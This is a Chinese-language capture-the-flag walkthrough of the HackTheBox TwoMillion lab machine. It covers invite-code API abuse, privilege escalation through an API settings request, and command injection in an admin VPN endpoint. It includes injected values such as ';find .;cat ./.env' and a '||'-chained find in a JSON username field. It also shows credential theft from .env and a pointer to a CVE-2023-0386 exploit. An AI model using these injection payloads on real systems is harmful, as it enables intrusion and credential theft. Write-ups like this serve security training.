先扫一下端口,22和80开放
进浏览器页面看一下,这一步无法直接访问,因为可能htb没有将2million.htb注册到公网DNS服务器
需要
sudo echo "10.10.11.221 2million.htb" >> /etc/hosts
卡了半天总算进来了
注册用户在invite页面需要输入邀请码,看网页源码,在/js/inviteapi.min.js中发现一段混淆的js代码,丢给ai解混淆
var verifyInviteCode = function(code) {
var formData = { "code": code };
$.ajax({
type: "POST",
dataType: "json",
data: formData,
url: '/api/v1/invite/verify',
success: function(response) {
console.log(response);
},
error: function(response) {
console.log(response);
}
});
};
var makeInviteCode = function() {
$.ajax({
type: "POST",
dataType: "json",
url: '/api/v1/invite/how/to/generate',
success: function(response) {
console.log(response);
},
error: function(response) {
console.log(response);
}
});
};
得到两个函数,一个向服务器验证邀请码,一个制造邀请码
试一下制造邀请码,发现
rot13解密新端点,
curl -X POST http://2million.htb/api/v1/invite/generate
{"0":200,"success":1,"data":{"code":"MDBaQ1QtSTJORUItVkZVWjYtQlVaSjI=","format":"encoded"}}
访问拿到base64加密过的邀请码
注册一个用户进来
进来的页面点按钮要么没反应要么没信息,目录爆破一下,先装个dirsearch
sudo su
apt-get install dirsearch
出来一个access路径没见过,进去可以下载ovpn文件,下载方式跟之前生成验证码的方式很像,都是通过api生成
因为有了登录,所以我们看一下可用的api有哪些
接下来可能需要这些api完成提权操作
我们向update user settings这里抓个包看看,根据它的需要补齐json数据
到这里应该就完成提权了
测试一下admin的几个api,发现vpn这个可以命令注入
/home/admin/user.txt: Permission denied
有flag,但是没权限
接下来用kali接收反弹的shell
└─# ip addr show tun0
6: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
link/none
inet 10.10.16.35/23 scope global tun0
valid_lft forever preferred_lft forever
inet6 dead:beef:4::1021/64 scope global
valid_lft forever preferred_lft forever
inet6 fe80::70fb:efb2:5610:8fa5/64 scope link stable-privacy proto kernel_ll
valid_lft forever preferred_lft forever
但是环境是php,用find找找环境变量.env在哪
;find .;cat ./.env
发现数据库的登录名和密码
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123
kali新开一个终端进行ssh登录,拿到admin用户
看看suid
{
"username":"123 || find / -perm -u=s -type f 2>/dev/null || "
}
发现CVE,大概率是要用这个提权了
https://github.com/Fanxiaoyao66/CVE-2023-0386
虽然上面有现成的,但是使用时一直无法正常提权(好吧原来是www-data不能正常用,admin可以
突然意识到,这个靶机是共享的,所以其实tmp下的cve利用是其他人上传的